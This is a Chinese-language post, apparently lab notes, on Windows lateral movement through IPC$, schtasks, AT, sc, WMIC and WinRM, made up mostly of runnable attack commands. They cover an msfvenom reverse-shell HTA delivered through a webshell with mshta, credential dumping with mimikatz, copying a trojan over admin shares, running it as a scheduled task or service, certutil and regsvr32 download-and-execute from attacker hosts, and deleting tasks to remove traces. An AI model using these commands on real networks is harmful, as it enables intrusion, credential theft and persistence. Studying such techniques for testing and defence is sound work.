一、IPC+Schtasks+AT (Schtasks是windows最新的一些版本的定时任务命令,AT是旧版本定时任务命令)
1.反弹shell
生成hta文件(format为hta-psh)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.78.91 lport=6666 -f hta-psh -o 6666.hta
通过GET请求去上传木马(可以通过bp发包的形式)
http://192.168.78.95:7001/bea_wls_internal/demo.jsp?pwd=admin&cmd=cmd /c mshta http://192.168.78.91:8000/6666.hta
(1)获取账号密码
获得meterpreter之后可以使用hashdump或者load kiwi模块获取密码(mimikatz)
mimikatz装载后的命令
getsystem (提权)
creds_all (获取全部密码信息)
(2)登录验证(由于使用rdp很容易被管理员发现,所以使用其他方式利用账号密码)
crackmapexec smb 192.168.78.95 -u 'web\administrator' -p '1qaz@WSX' --shares (开启默认共享)
smbclient //192.168.78.95/C$ -U 'web\administrator%1qaz@WSX' (使用kali自带的smb工具进行连接访问目标文件,可通过get和put命令进行文件查看和上传)
(3)内网主机存活探测
使用nbtscan.exe或arp-scan.exe进行内网主机存活探测
2.IPC$简介:https://blog.51cto.com/userli/68878
IPC$ (Internet Process Connection) 是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。
3.IPC$利用条件
- 开放了139、445端口
- 目标开启IPC$文件共享服务
- 需要目标机器的管理员账号和密码
4.常用命令
(1)连接
net use \\10.10.10.201\c$ /user:administrator "1qaz@WSX"
(2)查看连接情况
net use
(3)查看目标主机时间
net time \\10.10.10.201
(4)删除连接
net use \\10.10.10.201\c$ /del /y (/y表示确认)
net use * /del /y (删除所有连接)
(5)文件上传下载
上传:copy shell.exe \\10.10.10.201\c$\windows\temp\plugin_update.exe
下载:copy \\10.10.10.201\c$\59.exe c:\
5.Schtasks命令(重点):https://blog.csdn.net/qq_39680564/article/details/88993633
允许管理员创建、删除、查询、更改、运行和中止本地或远程系统上的计划任务
/Create 创建新计划任务。
/Delete 删除计划任务。
/Query 显示所有计划任务。
/Change 更改计划任务属性。
/Run 按需运行计划任务。
/End 中止当前正在运行的计划任务。
/ShowSid 显示与计划的任务名称相应的安全标识符。
/? 显示此帮助消息。
创建定时任务:
schtasks /create /s 10.10.10.201 /u administrator /p "1qaz@WSX" /sc MINUTE /mo 1 /tn test1 /tr "C:\b7777.exe"
查询定时任务:
schtasks /query /s 10.10.10.201 /tn test1
6.IPC+Schtasks
net use \\10.10.10.201 /user:administrator "1qaz@WSX34"
dir \\10.10.10.201\c$
copy c:\windows\temp\59.exe \\10.10.10.201\c$
schtasks /create /s 10.10.10.201 /u administrator /p "1qaz@WSX3e" /sc MINUTE /mo 1 /tn test2 /tr "c:\59.exe"
##################/sc为设置定时模式,/mo为设置频率,/tn为设置名称,/tr为设置操作(一般为监听本地端口,因为内网一般用正向连接)######################
schtasks /delete /s 10.10.10.201 /tn test2 (执行完毕后清除痕迹)
7.IPC+AT(适用于低版本系统)
net use \\10.10.10.201 /user:administrator "1qaz@WSX3e"
查看远程主机时间:
net time \\10.10.10.201
AT命令添加任务:
at \\10.10.10.201 18:10 c:\59.exe (根据上面查询的时间来指定任务执行时间)
AT命令删除任务:
at \\10.10.10.201 1 /delete (根据产生的job ID进行删除任务)
注意:at 在windows server 2012等新版系统中已被弃用。
二、IPC+SC
1.IPC+SC
(1)sc创建服务执行:
sc \\10.10.10.201 create test binpath= "c:\59.exe" obj= "de1ay\administrator" password= 1qaz@WSX3e
sc \\10.10.10.201 start test
sc \\10.10.10.201 qc test
三、WMIC
1.WMIC简介
WMI(Windows Management Instrumentation,Windows管理规范)是一项核心的Windows管理技术;用户可以使用WMI管理本地和远程计算机 。
WMI:基于 windows 操作系统的管理数据和操作的基础设施。在 windows 2000 之后的操作系统中内置了该服务。WMI 使用公共信息模型(CIM)表示托管组件,其中包括系统、应用程序、网络等等。CIM 中使用类表示管理对象,命名空间是一个类的集合。
通过使用135端口上的远程过程调用(RPC)进行通信以进行远程访问(以及以后的临时端口), 它允许系统管理员远程执行自动化管理任务,例如远程启动服务或执行命令。而WMIC是为WMI提供的命令行界面。
2.WMIC使用:https://blog.csdn.net/lhh134/article/details/104150949
(1)查询进程信息:
wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process list brief
(2)首先WMI并不支持执行命令,而是支持执行文件但是你可以加相应的参数,比如:
wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create "cmd.exe /c ipconfig" (没有回显,只会返回一个进程ID)
(3)创建进程:
wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create "calc.exe"
(4)下载远程文件并执行:
wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create "cmd /c certutil.exe -urlcache -split -f http://10.10.10.80/test.exe c:/windows/temp/test.exe & c:/windows/temp/test.exe"
(5)利用create创建进程:
wmic process call create /?
如果出现User credentials cannot be used for local connections,应该是调用了calc.exe权限不够的问题。
如果出现Description = 无法启动服务,原因可能是已被禁用或与其相关联的设备没有启动,判断WMI服务被禁用。
3.WMIC横向移动(实例,仅供参考)
wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create "regsvr32 /s /n /u /i:http://192.168.78.117:8080/feY7nzY.sct scrobj.dll" (需要能够出网访问vps)
wmic命令缺点是没有回显,可以使用wmiexec.vbs脚本实现回显:
wmic /node:10.10.10.201 /user:administrator /password:1qaz@WSX3e process call create “cmd /c calc.exe”
四、WinRM
1.WinRM简介:
https://0x0c.cc/2019/09/25/%E5%86%85%E7%BD%91%E6%A8%AA%E7%A7%BB%E4%B9%8BWinRM/
WinRM 指的是Windows远程管理服务,通过远程连接winRM模块可以操作windows命令行,默认监听端口5985(HTTP)& 5986 (HTTPS),在WinServer2012及以后默认开启。
2.开启WinRM
(1)判断是否开启WinRM服务
winrm enumerate winrm/config/listener
(2)命令开启WinRM服务:
winrm quickconfig (进行快速配置)
WinRM只允许当前域用户或者处于本机TrustedHosts列表中的远程主机进行访问。 (进行操作的主机需要在信任列表中)
(3)设置允许远程主机访问及访问远程主机:
winrm set winrm/config/client @{TrustedHosts="*"} (在靶场中开启服务)
3.Winrs执行命令
winrs -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e ipconfig
4.WinRM横向移动
利用winrm参数选项中的invoke参数,来对目标对象执行特定的方法。
winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"}
命令调用了Windows WMI中Win32_process类的Create方法,生成了一个calc.exe的新进程。
(1)在远程机器上打开进程
winrm invoke create wmicimv2/win32_process @{Commandline="calc.exe"} -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e
(2)在远程机器上创建服务
winrm invoke Create wmicimv2/Win32_Service @{Name="test";DisplayName="test";PathName="cmd.exe /k c:\59.exe"} -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e (创建一个服务用来启动上传的木马)
(3)在远程机器上启动服务
winrm invoke StartService wmicimv2/Win32_Service?Name=test -r:http://10.10.10.201:5985 -u:administrator -p:1qaz@WSX3e (name指定服务名)
Comments | NOTHING